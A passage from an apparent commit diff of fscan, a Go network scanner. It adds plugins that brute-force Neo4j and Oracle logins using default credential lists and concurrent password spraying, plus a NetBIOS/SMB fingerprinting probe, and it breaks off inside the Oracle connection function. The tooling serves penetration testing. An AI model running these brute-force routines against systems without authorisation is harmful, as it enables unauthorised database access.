func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) {
successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mysql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+360
View File
@@ -0,0 +1,360 @@
package Plugins
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
"github.com/shadow1ng/fscan/Common"
)
// Neo4jCredential 表示一个Neo4j凭据
type Neo4jCredential struct {
Username string
Password string
}
// Neo4jScanResult 表示Neo4j扫描结果
type Neo4jScanResult struct {
Success bool
Error error
Credential Neo4jCredential
IsUnauth bool
IsDefaultCreds bool
}
func Neo4jScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 初始检查列表 - 无认证和默认凭证
initialCredentials := []Neo4jCredential{
{"", ""}, // 无认证
{"neo4j", "neo4j"}, // 默认凭证
}
// 先检查无认证和默认凭证
Common.LogDebug("尝试默认凭证...")
for _, credential := range initialCredentials {
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1)
if result.Success {
// 标记结果类型
if credential.Username == "" && credential.Password == "" {
result.IsUnauth = true
} else {
result.IsDefaultCreds = true
}
// 保存结果
saveNeo4jResult(info, target, result)
return nil
}
}
// 构建凭据列表
var credentials []Neo4jCredential
for _, user := range Common.Userdict["neo4j"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, Neo4jCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveNeo4jResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Neo4j扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
return nil
}
}
// concurrentNeo4jScan 并发扫描Neo4j服务
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *Neo4jScanResult, 1)
workChan := make(chan Neo4jCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryNeo4jCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Neo4j并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryNeo4jCredential 尝试单个Neo4j凭据
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &Neo4jScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
success, err := Neo4jConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &Neo4jScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
if success {
return &Neo4jScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &Neo4jScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// Neo4jConn 尝试Neo4j连接
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 构造Neo4j URL
uri := fmt.Sprintf("bolt://%s:%s", host, port)
// 配置驱动选项
config := func(c *neo4j.Config) {
c.SocketConnectTimeout = timeout
c.ConnectionAcquisitionTimeout = timeout
// 注意:Neo4j驱动可能不支持代理配置
// 如果需要代理支持,可能需要使用更底层的连接方式
}
var driver neo4j.Driver
var err error
// 尝试建立连接
if user != "" || pass != "" {
// 有认证信息时使用认证
driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config)
} else {
// 无认证时使用NoAuth
driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config)
}
if err != nil {
return false, err
}
defer driver.Close()
// 测试连接有效性
err = driver.VerifyConnectivity()
if err != nil {
return false, err
}
// 尝试执行简单查询以确认权限
session := driver.NewSession(neo4j.SessionConfig{AccessMode: neo4j.AccessModeRead})
defer session.Close()
_, err = session.Run("MATCH (n) RETURN count(n) LIMIT 1", nil)
if err != nil {
return false, err
}
return true, nil
}
// saveNeo4jResult 保存Neo4j扫描结果
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsUnauth {
// 无认证访问
successMsg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "unauthorized-access",
}
} else if result.IsDefaultCreds {
// 默认凭证
successMsg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "default-credentials",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
} else {
// 弱密码
successMsg = fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "neo4j",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
+408
View File
@@ -0,0 +1,408 @@
package Plugins
import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"gopkg.in/yaml.v3"
"net"
"strconv"
"strings"
"time"
)
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
// 保存结果
details := map[string]interface{}{
"port": info.Ports,
}
// 添加有效的 NetBIOS 信息
if netbios.ComputerName != "" {
details["computer_name"] = netbios.ComputerName
}
if netbios.DomainName != "" {
details["domain_name"] = netbios.DomainName
}
if netbios.NetDomainName != "" {
details["netbios_domain"] = netbios.NetDomainName
}
if netbios.NetComputerName != "" {
details["netbios_computer"] = netbios.NetComputerName
}
if netbios.WorkstationService != "" {
details["workstation_service"] = netbios.WorkstationService
}
if netbios.ServerService != "" {
details["server_service"] = netbios.ServerService
}
if netbios.DomainControllers != "" {
details["domain_controllers"] = netbios.DomainControllers
}
if netbios.OsVersion != "" {
details["os_version"] = netbios.OsVersion
}
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: details,
}
Common.SaveResult(scanResult)
return nil
}
return errNetBIOS
}
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService
if ss == "" {
ss = netbios.WorkstationService
}
name := netbiosEncode(ss)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = ReadBytes(conn)
if err1 != nil {
return
}
}
_, err = conn.Write(NegotiateSMBv1Data1)
if err != nil {
return
}
_, err = ReadBytes(conn)
if err != nil {
return
}
_, err = conn.Write(NegotiateSMBv1Data2)
if err != nil {
return
}
var ret []byte
ret, err = ReadBytes(conn)
if err != nil {
return
}
netbios2, err := ParseNTLM(ret)
JoinNetBios(&netbios, &netbios2)
return
}
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, _ := ReadBytes(conn)
netbios, err = ParseNetBios(text)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := (one + 0x41)
output = append(output, byte(out))
}
return
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "WorkstationService",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "ServerService",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "DomainName",
"\x1C": "DomainControllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBiosComputerName",
"\x02\x00": "NetBiosDomainName",
"\x03\x00": "ComputerName",
"\x04\x00": "DomainName",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
NegotiateSMBv1Data1 = []byte{
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
}
NegotiateSMBv1Data2 = []byte{
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
}
)
type NetBiosInfo struct {
GroupName string
WorkstationService string `yaml:"WorkstationService"`
ServerService string `yaml:"ServerService"`
DomainName string `yaml:"DomainName"`
DomainControllers string `yaml:"DomainControllers"`
ComputerName string `yaml:"ComputerName"`
OsVersion string `yaml:"OsVersion"`
NetDomainName string `yaml:"NetBiosDomainName"`
NetComputerName string `yaml:"NetBiosComputerName"`
}
func (info *NetBiosInfo) String() (output string) {
var text string
//ComputerName 信息比较全
if info.ComputerName != "" {
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
} else {
text = info.ComputerName
}
} else {
//组信息
if info.DomainName != "" {
text += info.DomainName
text += "\\"
} else if info.NetDomainName != "" {
text += info.NetDomainName
text += "\\"
}
//机器名
if info.ServerService != "" {
text += info.ServerService
} else if info.WorkstationService != "" {
text += info.WorkstationService
} else if info.NetComputerName != "" {
text += info.NetComputerName
}
}
if text == "" {
} else if info.DomainControllers != "" {
output = fmt.Sprintf("DC:%-24s", text)
} else {
output = fmt.Sprintf("%-30s", text)
}
if info.OsVersion != "" {
output += " " + info.OsVersion
}
return
}
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = errNetBIOS
return
}
data := input[57:]
var num int
num, err = bytetoint(input[56:57][0])
if err != nil {
return
}
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
if len(msg) == 0 {
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
if netbios.DomainName != "" {
netbios.GroupName = netbios.DomainName
}
return
}
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = errNetBIOS
return
}
var num1, num2 int
num1, err = bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err = bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
ostext := string(tmp1[:len(tmp1)-1])
ss := strings.Split(ostext, "|")
netbios.OsVersion = ss[0]
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
var msg string
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
continue
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
continue
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 不需要输出
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
}
}
err = yaml.Unmarshal([]byte(msg), &netbios)
return
}
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
netbios1.ComputerName = netbios2.ComputerName
netbios1.NetDomainName = netbios2.NetDomainName
netbios1.NetComputerName = netbios2.NetComputerName
if netbios2.DomainName != "" {
netbios1.DomainName = netbios2.DomainName
}
netbios1.OsVersion = netbios2.OsVersion
return netbios1
}
+435
View File
@@ -0,0 +1,435 @@
package Plugins
import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2"
"strings"
"sync"
"time"
)
// OracleCredential 表示一个Oracle凭据
type OracleCredential struct {
Username string
Password string
}
// OracleScanResult 表示Oracle扫描结果
type OracleScanResult struct {
Success bool
Error error
Credential OracleCredential
ServiceName string
}
// 常见Oracle服务名列表
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
func OracleScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建常见高危凭据列表(优先测试)
highRiskCredentials := []OracleCredential{
{Username: "SYS", Password: "123456"},
{Username: "SYSTEM", Password: "123456"},
{Username: "SYS", Password: "oracle"},
{Username: "SYSTEM", Password: "oracle"},
{Username: "SYS", Password: "password"},
{Username: "SYSTEM", Password: "password"},
{Username: "SYS", Password: "sys123"},
{Username: "SYS", Password: "change_on_install"},
{Username: "SYSTEM", Password: "manager"},
}
// 先尝试常见高危凭据
Common.LogDebug("尝试常见高危凭据...")
for _, cred := range highRiskCredentials {
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1)
if result != nil && result.Success {
saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil
}
}
// 构建完整凭据列表
var credentials []OracleCredential
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
// 转换用户名为大写,提高匹配率
credentials = append(credentials, OracleCredential{
Username: strings.ToUpper(user),
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Oracle扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
return nil
}
}
// tryAllServiceNames 尝试所有常见服务名
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
for _, serviceName := range commonServiceNames {
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success {
result.ServiceName = serviceName
return result
}
// 对SYS用户尝试SYSDBA模式
if strings.ToUpper(credential.Username) == "SYS" {
result = tryOracleSysCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success {
result.ServiceName = serviceName
return result
}
}
}
return nil
}
// concurrentOracleScan 并发扫描Oracle服务
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *OracleScanResult, 1)
workChan := make(chan OracleCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 尝试所有常见服务名
result := tryAllServiceNames(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result != nil && result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Oracle并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryOracleCredential 尝试单个Oracle凭据
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &OracleScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行数据库连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, false)
select {
case <-connCtx.Done():
// 已超时或取消,不发送结果
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或连接超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
err = connCtx.Err()
}
// 取消连接超时上下文
cancel()
if success {
return &OracleScanResult{
Success: true,
Credential: credential,
ServiceName: serviceName,
}
}
lastErr = err
if err != nil {
// 如果是认证错误,不需要重试
if strings.Contains(err.Error(), "ORA-01017") {
break // 认证失败
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &OracleScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &OracleScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行数据库连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, true)
select {
case <-connCtx.Done():
// 已超时或取消,不发送结果
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或连接超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
err = connCtx.Err()
}
// 取消连接超时上下文
cancel()
if success {
return &OracleScanResult{
Success: true,
Credential: credential,
ServiceName: serviceName,
}
}
lastErr = err
if err != nil {
// 如果是认证错误,不需要重试
if strings.Contains(err.Error(), "ORA-01017") {
break // 认证失败
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &OracleScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// OracleConn 尝试Oracle连接
func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
host, port := info.Host, info.Ports
// 构造连接字符串,添加更多参数
